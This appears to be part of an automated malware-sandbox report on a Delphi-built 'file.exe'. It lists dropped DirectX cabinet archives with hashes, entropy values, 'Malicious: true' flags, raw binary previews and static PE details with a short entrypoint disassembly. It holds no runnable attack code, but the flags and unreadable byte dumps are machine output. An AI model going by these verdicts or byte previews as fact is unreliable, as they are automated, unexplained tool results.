Size (bytes):	1467086
Entropy (8bit):	7.999726422350297
Encrypted:	true
SSDEEP:	24576:HGIly6o6H1kEznWRpKpx5A0SBF/VnjmkC8nAMzh08qF4QH5/RSzsExkqv4Q9hHi0:Hh46Tn/UXVjmiJlO4sVRSzdk5uhCbOka
MD5:	E2FB2E37C342983493C776BD81943978
SHA1:	2A8F3C45CF979966D4D4D42A4D34F05C72C7E29E
SHA-256:	57E57A6348E55AAACA6BED5E27BBDD0A4BD0DDE69C77F4D26C805BE6384BE927
SHA-512:	2D297F607C5A098A3D2B19E7F88AA12F720AF3C23FE6DDCE7D4659A9184D1CF8F8A76F35B8ACB639B48CDAD8998C919215A03B89207E2BB1829EA3D8A9EFB95A
Malicious:	true
Preview:	MSCF.....>......D............................>...#..............v.....:........8wq..d3dx9_38.dll.<'....:....8.r..d3dx9_38_x86.cat.....D.:....8.r..d3dx9_38_x86.inf.,...O.:....8.r..d3dx9_38_x86_xp.inf.\...{.:....8.r..Jun2008_d3dx9_38_x86.inf. .,:..[.... .,......$Q.f...<....B..W...WWRT%.,..6mZ....k.!H}_.aAkk..C..............Z...1.5.!....S.-.Uy....# ...g....3...q.u.N..Nz.2Zq..D..+r."S9..ZT$.QD...UM..4......P....@...f.h...}..l7.{l.e7..#.b.$_...Q_...#......CC@)@......@......1...`....D.$m....wgg...B...n..E..{x,u.{.VK.;:.7.M$IO3v.u..v.p.%...N.X/.:Q..E...(/n..%Y...."..X.)}U.5...9F\.C>.....9..L.1.T.....4I.$R...5.L'.e.H.`.....H.._....9...XQS....r..>H.Gw..I.}.I...S.M.#Q....a[.....C.o...HR6\|..#....Ccu.^....=...f.N..LH.nMzk.k.....k..V..S..^.^,BdOQ.E..^.q..y.z.A{x..g8....i.....l.....f...a,..\xzC...r.@...C~....\.....!8..)....ZU ..%.e.xG..<.i.....yVH.AA......M.F....Ph..,.Uap.....9...-...v.V.... \|..*......X...6....P...,.K.O.Qe...).]`..C..............,..+.q.........w...

C:\Windows\msdownld.tmp\AS6D0EA3.tmp\Jun2008_d3dx10_38_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 843959 bytes, 6 files, at 0x44 "d3dx10_38.dll" "D3DCompiler_38.dll", flags 0x4, ID 8962, number 1, extra bytes 20 in head, 61 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	853127
Entropy (8bit):	7.998980130768887
Encrypted:	true
SSDEEP:	24576:IKcIh4DqtGLRndZKm4zZTQb4BJ+gfG07QyGeZH:IKc64DgG9dIZTQb4L+GGIGeZH
MD5:	B0E2B612DAF28B145B197A4DB0A9B721
SHA1:	F69266E4AF3D2DE31A2A2E416F10B0F44737739A
SHA-256:	E8DC1063C9434EED8D633741B19CDFA1889581041E2214B87B5159E3EA087F3C
SHA-512:	6E31F18CB75CE69D291D0ABD15EDADF02C0693033351DFB2F435312A47540AA223C8176209725C14A05FA6494153A3E191B2FB7CB8C5CEE11FB42371CE67392B
Malicious:	true
Preview:	MSCF............D................#...............#..............=....$.........8wq..d3dx10_38.dll......$.....8wq..D3DCompiler_38.dll.f(..(......8.r..d3dx10_38_x86.cat.I..........8.r..d3dx10_38_x86.inf.i..........8.r..d3dx10_38_x86_xp.inf.c...@......8.r..Jun2008_d3dx10_38_x86.inf...E7%,..CK..\.....\./BS3...$.......p.&..x"........h....J.,5.,._.e....y..-y...#.......YXPP+..y.......y....o*.&..........\....i...YQcs..u.77K.8..h......h..]L...y6.bc..S.\.Y..]..aM.iyo.Xr..2....w...^V.Y.v)..s..w..;..z...........S..WY.b...!....q..W............y.~.x...P..!z.S.....2..{W.x.tJ.....Y....'o5"dE...(...\|o.U'.tpJ....8..4.j.vT.+TrVWy.`.P..{![...O.<.!...F...V.........C.k.E.h._..AM..+...E.jG.U.R.F:.].E...Xvw.?....'..,....................A-p...l.[.J....4.. .$.,...`2X.W.c..=Y.>........i.....A-p.?.....`.8..qp.`...A.....P_1.....? ]O....A?P.&........%..c. ..v...,h.=...AK0........k......d..... ....A{....... .\|o......&..\|......0........d.....[m......X...%C.D.2X.....'&.4..@o......98.~..c

C:\Windows\msdownld.tmp\AS6D176D.tmp\Aug2008_d3dx9_39_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1458712 bytes, 5 files, at 0x44 "d3dx9_39.dll" "d3dx9_39_x86.cat", flags 0x4, ID 7173, number 1, extra bytes 20 in head, 118 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1467880
Entropy (8bit):	7.999682997096517
Encrypted:	true
SSDEEP:	24576:ztDuVYfr3zZ3dHi+rHI8lVs1WutNXBoY4RbifcKly/kNwSh1mMbS8X/9Wv8PiL:JDnr3zZ31lVsgENSsfcKaZAFF88+
MD5:	4379902C4180A9A6BF40B847372CEC5A
SHA1:	C7FC8184D5620154B9BFD6FBC8820A78C4EEE592
SHA-256:	61E703E8D231412F135B4ABA629122D9CB69AC9EE39FA3CBBE6B95DE05097A8B
SHA-512:	9269F49A5CA90143C50B817E9F5AEC0FC4C32BA1B6D3A21CC5448CAD21A16A902540C8CFC1825B124CE39E0BDC479ADE4354B6BE15B2067E3033E04998E0710A
Malicious:	true
Preview:	MSCF.....B......D............................B...#..............v.....:........8.X..d3dx9_39.dll.<'....:....8.2..d3dx9_39_x86.cat.....D.:....8.2..d3dx9_39_x86.inf.,...O.:....8.2..d3dx9_39_x86_xp.inf.\...{.:....8.2..Aug2008_d3dx9_39_x86.inf....$:..[.... .1......$Q.f...<....B..we..]w.QR..B.).V..i.k..Z........=......d.. .....2..cLfl..A..w4[..VBs.{...^...S..a..]Z...%vh...9..Ro...K..r.}..ZP......".i..5P..."..............."......I.c.on..F...&..K @T.=...C..a ..!..q...Pb.=........hY.b..i`AY..<xwqvlx,t......Yg..R....g1fG..i..4.o.......S_...V..N.K.N..qQ.....Etr.1...E..:..\|..../e..<...9.s.....%.RT. .M!.$(2b[X.NT.B...HT.?.!.<\|4~.?........Si.Xe...l}....J.J\|LN...R.o..@W!.y.8..t'....%A.!I..U.A>..~..........u....2SR.[...9Te.?..U....y*.M.yxnx...z.J..V...(.....X.\|...f.h.....?.LGt..UT...o.7.0..h[.P..`...`../$LED..'.E. \|.A-.w...6.+.\;.h...H...........8...A...0.n....9- p..M. r.V.!...W...r.Y......BO.d...{4.. ....U..A ).....9f.e............`P..w[.......$..o.L1.~.R.M@\AC....W.%..

C:\Windows\msdownld.tmp\AS6D21AE.tmp\Aug2008_d3dx10_39_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 843207 bytes, 6 files, at 0x44 "d3dx10_39.dll" "D3DCompiler_39.dll", flags 0x4, ID 8952, number 1, extra bytes 20 in head, 61 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	852375
Entropy (8bit):	7.998886184584254
Encrypted:	true
SSDEEP:	24576:E6Ih4DqlkwAjhr1mB+uYgrCvCZNmJ9ndKo4XYbX:E664DQkwAj/oNCvCZIdN4ID
MD5:	5380053AC4C344BD38604022476B1C1D
SHA1:	043DC8F49BCA3BF0BD85E858F5C2EEDF68565C0D
SHA-256:	84800C55F773D5D6913E344E41BABA58CF07CEC2E6C7114CA3BF48E8F355419F
SHA-512:	F3CE2DEF6E2E8A1D2C07F627E3C437A1BBA0B2E456020A84121346472BE3D28E0FC69623BD408F35A2C639C83DD2787F998DEDFE42B7625DC71500824B035FEC
Malicious:	true
Preview:	MSCF............D................"...............#..............=....$.........8 X..d3dx10_39.dll......$.....8.X..D3DCompiler_39.dll.f(..(......8.2..d3dx10_39_x86.cat.I..........8.2..d3dx10_39_x86.inf.i..........8.2..d3dx10_39_x86_xp.inf.c...@......8.2..Aug2008_d3dx10_39_x86.inf.,"..%,..CK..\.....\./.R3...$...Hef.K0..D<....V..uvA4.J.yTx..YjvY..<.2.133.J.[...O.g.Q.J..gf.....r^.}..s~g..3...F..!...eB>$.e .~..Z.j@V....C]..-..-N.!.Dc.c2.lv..!0b......$&.n.....yH..cz./...\|...w.;y../+.......l.\|~...?...{..-<Us.(n..M.U...(Bz.I.WCc.q.I..uuu....2O.K}.~_x...P..B.D.P.].C-e..O..x.tJ.....Y....'o5%dE...+..../..".tp...Ap..i^.$.0W.....!...b../.W..y.B.....#.m.k}O.k..z...N........W.3.......S.F..].E..j,.;.xe..I`6p.V..._O..K`.H.C....f.....'..3@?@O..`...@&p..P...W..>HO.....,..CA........0...m.....D....0.....x.S...l.....'....`.....%....{....1y.t...Qp.t..{..A.0c.......k.....@!x......RA/.....@c......}...n.......`.x.L.cA...A ...P..S....2}{%".,....d8..^.K..p.xGE...+..\`:X.>.G.o.Y

C:\Windows\msdownld.tmp\AS6D2A0B.tmp\Nov2008_d3dx9_40_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1544836 bytes, 5 files, at 0x44 "d3dx9_40.dll" "d3dx9_40_x86.cat", flags 0x4, ID 7155, number 1, extra bytes 20 in head, 134 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1554004
Entropy (8bit):	7.999645278979612
Encrypted:	true
SSDEEP:	24576:K3tdQkdeoPJLiej+pb7Q15LwQrpLeWvYMWbPBmcnILz+0Byna:2dvdeAweSBQPLwgpCWvYMQ5mcnIH+m
MD5:	75556D89FDD442967A23993C9111D997
SHA1:	003DE53653C0CC84F8C3D617D1F76FB475F1A7CB
SHA-256:	863AC3438F57158D4F53900C6924BFDC132AB43A5AF57D4658E65842836B4FA1
SHA-512:	6086114500DBBF4DB9D0A9C3F72732995BB9A3AB5C135EAD53143749B95651B37B64BE7A52CA09388DE90216FD00486FDFCFBC87D42D77FAC469F82B5290E06D
Malicious:	true
Preview:	MSCF............D................................#..................P.B.......O9.2..d3dx9_40.dll.....P.B...O9n:..d3dx9_40_x86.cat.......B...O9h8..d3dx9_40_x86.inf.,.....B...O9h8..d3dx9_40_x86_xp.inf.\.....B...O9h8..Nov2008_d3dx9_40_x86.inf..=.:.:..[.... .2......$Q.f...<....!Z.J.+...ea..U.q....ha.x.y...........=.h!............X.{.<,.....?..b.):.[J{....^=mv:.i.e..}9s............F.QN.^+.).p...!9.4L..B.k ....F.}..R.. ..D%P4@...'2.$C..EU..:_... ..=.....2...Q...H\|..2.hi....H3..%JA.O...s.n-..<.<..9;7p.wnxw,\|\|.....du.......)..$3CN.'.)j..\|...x.w..>..4.D..."..I.'.=.....$.7..m...J..F....0..F.XD..v....."*\|2...A.H.R..b.()! .\|..Hh`....Q.K...NH..9../^...\|[!.)k...8._C/~D.W..K4.}.B.T.b.Kw..si..6.E.#6w......_.,.>6{r$X&:....s.w......k....h'5......3...0XOG.^.=..j....sFg.jO. t..?.S.l5?.t...s....`...]......'$LJ.........Z]h.. ..h.l.5b....F..0......m.....P.....n....Z.... <..7.@...,`@..#.i.r....... ......@....\|....e/.pa...@Q.A..'.EL..7H..?^..C.........]i p..N7....:i.P.........

C:\Windows\msdownld.tmp\AS6D3527.tmp\Nov2008_d3dx10_40_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 959461 bytes, 6 files, at 0x44 "d3dx10_40.dll" "D3DCompiler_40.dll", flags 0x4, ID 8926, number 1, extra bytes 20 in head, 77 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	968629
Entropy (8bit):	7.999011847061652
Encrypted:	true
SSDEEP:	24576:JKTxCzc8gSDnU8Hz10a0s65QckarHGlImJtXn+QbtU0sHsqzn:mxCzs29r0WQma69nBbtU0sjzn
MD5:	5DFEB46E60795266DA03F2D0A67E7ACD
SHA1:	A77758873E5544E8AD22ACF469C4A0FD0C944A88
SHA-256:	EC52B075A3E9C7FE468B317E0FF977964B1003D560065128741F4392BF47C49A
SHA-512:	6EC058811AC017BE3CD3A46559CD73126666F41B0FA58D92C1168CF2A2E0E2357B19F65531C786EC81A438975DBECE440C5E7B6C653AFA5428CE6C444179AF6C
Malicious:	true
Preview:	MSCF...........D................"..............#..............M...X.........O9.2..d3dx10_40.dll.`...X.....O9.2..D3DCompiler_40.dll.......%...O9p:..d3dx10_40_x86.cat.I...g.&...O9h8..d3dx10_40_x86.inf.i.....&...O9h8..d3dx10_40_x86_xp.inf.c.... &...O9h8..Nov2008_d3dx10_40_x86.inf....X.0..CK..T...{..J........D...$.....$.2.....&L+...u..Q.5#f...W].9cN...w..Qd...y.......9~.}..]u+tOMM...r.].a.O..f7#.\........m.l._a.[..,4Q.&KU...c.eq1)).,V!S...)2...Y.^a.Q..b........y_x.W..Q^J^.j..P..gB...<w....E_).$j..q.\|y..{.'....1V-..N.bt..%...A.0K....u...O...K.u.F.H(u>.X.vbd.......)..Ltg)c.a..J..\|.V).N.F`G.Lxk..Rf.-.<1b...0..y...y!.g..F1Z.v..T..o......i.............!Jku.:..i...e.....Z.HR.0...6.....zk1..._.-.L....a).Gx.).........@6...........P.\....?`.....f...\|.r......L9......S.T ........o:J.'.E`?..x..?...$........z.......,.<.'..D.j .....G...3...G;.......p...&@W...;....^........R .X.....L ............-...........'.r`7........)........=......r..j,e..j.)..........uX)..p.B...

C:\Windows\msdownld.tmp\AS6D3EDB.tmp\Mar2009_d3dx9_41_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1606486 bytes, 5 files, at 0x44 "d3dx9_41.dll" "d3dx9_41_x86.cat", flags 0x4, ID 7142, number 1, extra bytes 20 in head, 128 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1615654
Entropy (8bit):	7.999772423092358
Encrypted:	true
SSDEEP:	24576:xFtN95ew18Yl4WTrZnZSibmmq18Whxp9pWISiIz9cXwowwenm2AB4qDA2mV7Q:newRFZ8ib6T3p9pW9/Z4bM/XkA+
MD5:	901567428D8C82756D7BF5A406441BD7
SHA1:	6E3C22147F3DA77AC8F20D615CA32B5EF2A0ED28
SHA-256:	32356344AEDDF709C9D5302D8F3FCC1FF1BE2E82D8D17833A2086400AF248794
SHA-512:	6FD4C429E32480BDFF4E58BA8BC0D28FE97C9FF5EF1FABBB856230EFA669246A354F99B723E7483D548B74C121AC8BA9CBA2B5BC3C18F35EE828302D392CF6ED
Malicious:	true
Preview:	MSCF....V.......D...........................V....#..................X.?.......i:k{..d3dx9_41.dll.....X.?...p:.r..d3dx9_41_x86.cat.......?...p:.r..d3dx9_41_x86.inf.,.....?...p:.r..d3dx9_41_x86_xp.inf.\.....?...p:.r..Mar2009_d3dx9_41_x86.inf.x..#.9..[.... .3......$Q.f...<...!..vW]....]eJ.Uaq....a.Zk....}_..=hk..C.=...."......?1<..izt.`Y.._ .....H.`...uI35.:.,L.....I.;...........&...B......I....!@.A...A....a......................#..&.E....J..%. ......!..Q0..P.F......$.!...q..yXf..d....7,v......Y.....Q......EI.&..Rm....d.I....D........WJ...`.u..WK..K........yQo...2...W.U\.C.m...a.k.kpq.U..C.5.Hh).......<R.s.l.+.......);........%.g.g.....i..I.U.).H......l./._...<.C....a....U8.'.,.0GR....=.5....E.......jln..MKiliw..Q......,.2{..k...\.X$.......Q4..??...ns...?....t.\|.8U..>WJ./.>S..Vp.....0...3 ....'!....,R........Ph..#.t.7=.?p....D.....hX..H....J.`...Z.......$7t.......a...\|S....(..G. ...V+`...,.X.P..lZ`...X>Bt....E*aM..(`..0......BA3..p.%..OE.c``.BU....).P5

C:\Windows\msdownld.tmp\AS6D498A.tmp\Mar2009_d3dx10_41_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1034785 bytes, 6 files, at 0x44 "d3dx10_41.dll" "D3DCompiler_41.dll", flags 0x4, ID 8914, number 1, extra bytes 20 in head, 71 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1043953
Entropy (8bit):	7.998757160305283
Encrypted:	true
SSDEEP:	24576:JAEjuCeK6JgAkPBJoBgsqDP8FbGACV0L/sW0G+vv2:JFuCeVJqyxqDUFb9CV8r
MD5:	45E83CBA5710A1DE7D3990A288122E85
SHA1:	23C4BFBDDCFB11ACB7C47C409825F039AF7EB908
SHA-256:	B7DA29103CDF374DE0C09713CB985035EAC45FB8B394D3B8157D8A7562A89899
SHA-512:	8C56D376D349AA00948E1F3C6168DADE76AC9A26ADE1AAC5A385DCF0253602F5A2973483D083425195DB6AD7717494FD3CF674F5549774AC608CEFA2A88BF0A7
Malicious:	true
Preview:	MSCF....!.......D................"..........!....#..............G...P.........i:k{..d3dx10_41.dll.h-..P.....i:k{..D3DCompiler_41.dll.......#...p:.r..d3dx10_41_x86.cat.I...a4#...p:.r..d3dx10_41_x86.inf.i....7#...p:.r..d3dx10_41_x86_xp.inf.c....:#...p:.r..Mar2009_d3dx10_41_x86.inf.Nn.>.0..CK.wT.I..{.G.C.QQ.#(I.T`..Q.........0.b..5`Xs..bD.@..f1.9..x....Yw..{...s..U...[.kjj.....h3...TV2.nFx92?~=....m.l.[n.[..(81)]..R&..Sd...J.,F!Se..Re..A..e..~}..b.e[.fd.np.+..[......R;.z.....v....N.~...ibx.h.S.....W...7..-.a.8...`...$u..A.0K....j1..g..A.^k1...Pj.]bm.ym..~t...+d..`..LG}..X...#.J.....;'e.Z.-.2..m.0....[W..#......j.05.Z.R.!..:.jd..e.........O..7:...\....k..bY...s4W).. ..%.......:g............p..Z...... ..<5.2..].... ..X.,..!~.0...v..k.c.1.2..V.10.L.#.R.x.=.S.9.....27.S@.....d. .p.l.d......}.\...;.e./.0 ...&.~...8.\...:.L;.'....R..."`;p.....>...........BhW6.I&..D.!.3`...M...>u.....S.A......E@...0.P..@8....v.9....X@..."e....'..`c...(...^..R.'p...4....{ ...f...2....h

C:\Windows\msdownld.tmp\AS6D5244.tmp\Aug2009_d3dx9_42_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 722496 bytes, 5 files, at 0x44 "d3dx9_42.dll" "d3dx9_42_x86.cat", flags 0x4, ID 7080, number 1, extra bytes 20 in head, 59 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	731664
Entropy (8bit):	7.999475174279291
Encrypted:	true
SSDEEP:	12288:IDTg2rIyRKFAtmsFp1UChyax+LFl9NiHEpMH5Vfe8PIqEqnyA6F56J2:M02fKYVFvhKLFl9NikiH5V28PXyA6GJ2
MD5:	9BC8213933598D050827D20A4573486C
SHA1:	E6F9BA62756A00C53746419DEA221881AEB336CF
SHA-256:	9C96B6FC4DF5C0EFCA9F0D653976772B2B964243214F99066E4CA4AA6DF791DD
SHA-512:	A1920D042963CDDA41DF44044DE5B94B4CEE6EFA102F633214E384918D93D2D6A31EB388BDBD00C7E9C199281E3B71CAA5242E9A42E7F0BE27EDF90A3CF6890C
Malicious:	true
Preview:	MSCF....@.......D...........................@....#..............;...X.........$;....d3dx9_42.dll.....X.....$;...d3dx9_42_x86.cat...........$;...d3dx9_42_x86.inf.,.........$;...d3dx9_42_x86_xp.inf.\.........$;...AUG2009_d3dx9_42_x86.inf.....::..[.... .......5!.P..wO.n..pOc....7...l.c.n..slmk]....]...B..W..D..UJ...P........C.......l8..y^.S.N.I..7%.....].n...d...>.#....zT{6+..X.UB. AA......u7{0...n. ....d..R....=...D...F.......n..n..~U.]..U.EX, .......A^;...(...<.@#0/..O.!...i.#.C....D...D.cwC.v.y.<+.....g.l....f.k...W...[..I&...M..W.&Z..^..MB...:.LyQv.l.U.=Y..%....8Ls.......-..".U.....s.f.YVvX...-..8T..m...=..9.CN!89....f.2.G.....:s.G...>.......c^.Z..=h.l..Q..w..yc.\i.Z.^...$cw.T.".d`.jhL;.ZqB.L.{...Z....h{=s.....a.4.1../..`....\|;I...;...$.m!l'.g..pa.).b0..:.tT...T..{..<..T.....z.....!....,..\|.@.../..A.....q.......@.....................\|..5...[..p.6....FE.../.609$.....+.Q.f.N3.....L; ..6./.j.4.a.E2....(G0,...x..5...IBS.._......9.....%0.....

C:\Windows\msdownld.tmp\AS6D59F5.tmp\Aug2009_d3dx10_42_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 186171 bytes, 5 files, at 0x44 "d3dx10_42.dll" "d3dx10_42_x86.cat", flags 0x4, ID 7280, number 1, extra bytes 20 in head, 15 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	195339
Entropy (8bit):	7.996178589789764
Encrypted:	true
SSDEEP:	3072:/hxMUzbnbaWbX0JkFvs5aQnkW6sJ/Fw395/lfLxBQLgGlekmQI84HAGujR7j:5CEbiqvs5aQnkW6A/8jlzxBw0/Erd1X
MD5:	F264AF5A36B889B4F17EB4D4F9680B4F
SHA1:	1DF087EA99D321EC96D0D2F1C66BEE94883D6F08
SHA-256:	BB46189EB8CB7769EB7BE00CFBC35902072FA9408313EF53F423E5AE5C728F61
SHA-512:	73AE1CF3CAFBA148F4E5B4D8AC12A7AA41F6ECAC86C139C6A7714F90F3DC61C444DC152A3AD3C2CA800C1A1F4955A2B508735F8490666B57D1420FB7A7BFC269
Malicious:	true
Preview:	MSCF....;.......D...............p...........;....#..................P.........$;....d3dx10_42.dll.....P.....$;...d3dx10_42_x86.cat...........$;...d3dx10_42_x86.inf.(.........$;...d3dx10_42_x86_xp.inf.c.........$;...AUG2009_d3dx10_42_x86.inf.\|..f.0..CK..T.I....8....e0.JVT`..Q......A..a@..i.k..........b.bN......fE.]...y...s._W..~.......9.6.0:../....^.._..F{.3......7.NHL.....T......Z.....Sd.)2W. Y.2Na....^.lk....+......V.J...j.W.vI.Xj.V....Y..^$....&.&....9..azKt..6....2..e..).,..6...0,......Z.a...R...k........(..V.E.....2..C....p>r..Y.].sR&....)....i.0.....W..#(.....j.p5.ZvR.!..:.jd..e............7:(..\....kZ..b^...s4W).. L.%......:g......./..5.......eW).....t.2..].... ..X.,.. ~80...v..k.#.1.2.....0..PF.....z.]......\.\.N.E.J`6....p.....@_..;...p.8........x.....y.6.(p.x..XJ..@O........E.v.0p...m4.8.,.6.%...P.lh.. ...B.g..0.....>v.....S.A......E@...0.P..@8....v.9..h....xc*e....'..`..._...........M.lg..P..-.!......L...@$0.........j5..m.{ .H.f.[...C@

C:\Windows\msdownld.tmp\AS6D5FE0.tmp\Aug2009_d3dx11_42_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 99084 bytes, 5 files, at 0x44 "d3dx11_42.dll" "d3dx11_42_x86.cat", flags 0x4, ID 7285, number 1, extra bytes 20 in head, 8 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	108252
Entropy (8bit):	7.991332626956763
Encrypted:	true
SSDEEP:	1536:MI9cI4N24813fwIsfQqzjoroJ1OL79D+0sFGmNjFRchFxLvk5yswFa8D+0qlt6s1:Pah8Vo/1uLJoGmZEFxLvcwM8DZcZxb
MD5:	DD47F1E6DC19405F467DD41924267AD0
SHA1:	85636EE0C4AF61C44D0B4634D8A25476CF203AE9
SHA-256:	39FF69BA9161D376C035D31023D2FDEECB9148A2439ABE3AFD8F608F7E05E09B
SHA-512:	F77C4CEF5CB7E927948F75C23A190E73D6C75B4F55915859046533A10AA3C5ABAC77D8BEF71A79368C499C85009213E542094B85B94B69E62AA66B60616777C3
Malicious:	true
Preview:	MSCF............D...............u................#..................P.........$;....d3dx11_42.dll.....P.....$;...d3dx11_42_x86.cat..........$;...d3dx11_42_x86.inf.(........$;...d3dx11_42_x86_xp.inf.c.........$;...AUG2009_d3dx11_42_x86.inf.ix..@ ..CK.[.X.G.....<..: .QQ.9...S@..A.......p..D._M<.A7&F.q.f]c..xD..Wc.....F7..H..b.._.]=T.tbo.......\|O}..[U_.U]o.L......(%..V..Nq.(.....=v........R..3.K.......2c....Zm,..+k.%.....2k.e........s3Xx...C....~..P.X..o..~..[....../A.?...\Rl.QRX.g.sz<E....g..s..[/s.(5..T..>/.(.9F&;.c\|..).k....6y.7+P..d...U.J.H7(.x.E.B}.1`..Z. .C....lTP...C7....._^h7F..t....T[.V.r.J.....&?F...Pd.6#..H\|....).<.....U...g...5..5..RjE.=.sc:...x1..[..w..p...8."..Y8.....AV...E".A..p...%d."..5d.!..l4..d}..#.A...#;.l.....!.....Xd...!3"...G...d_"...^do![.l..i.& ..,...d}.9#S.....IA.C......E.6..![...dS..#+@6..@.....m..:......v!{..Zd. [.l&..-.....9..C9...}.x..Y9=.F...k.Z^.^...!{...........R...d.._...~2z_O.mXG.._...XkYEI.....^iA.p.....=...wa;...N.6.2

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.037746245684915
TrID:	Win32 Executable (generic) a (10002005/4) 93.21% Win32 Executable Borland Delphi 7 (665061/41) 6.20% InstallShield setup (43055/19) 0.40% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	file.exe
File size:	1'059'840 bytes
MD5:	eaba5b2c3b6607177112ec5f26438ba3
SHA1:	d0572bad54faca6af612763c6835feb160a3dcd2
SHA256:	43555b4a8bd82abd7e7b1f279b4f31afb5a230ce4246be6fda4fdd5e7263c780
SHA512:	b767a6f167a0153628ae0bdb468eef4d4311e48a58ff4774843ee36321c48823a24be5c9d0d399800a19733a46ead5109cd54e728e6a260107212647a5f60d9c
SSDEEP:	24576:6nsJ39LyjbJkQFMhmC+6GD9DukDF4zARUwSp:6nsHyjtk2MYC5GDFuRzmUd
TLSH:	23359E22F2D18437D1721B3C9CAB93A5583ABE512E387A4E7BF91D4C4E3968178253D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	878fd7f3b9353593

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007FC14472749Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007FC14477ADE5h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007FC14477A9E4h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007FC14477ADD4h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007FC14477AE48h
call 00007FC144724F7Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x58288	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
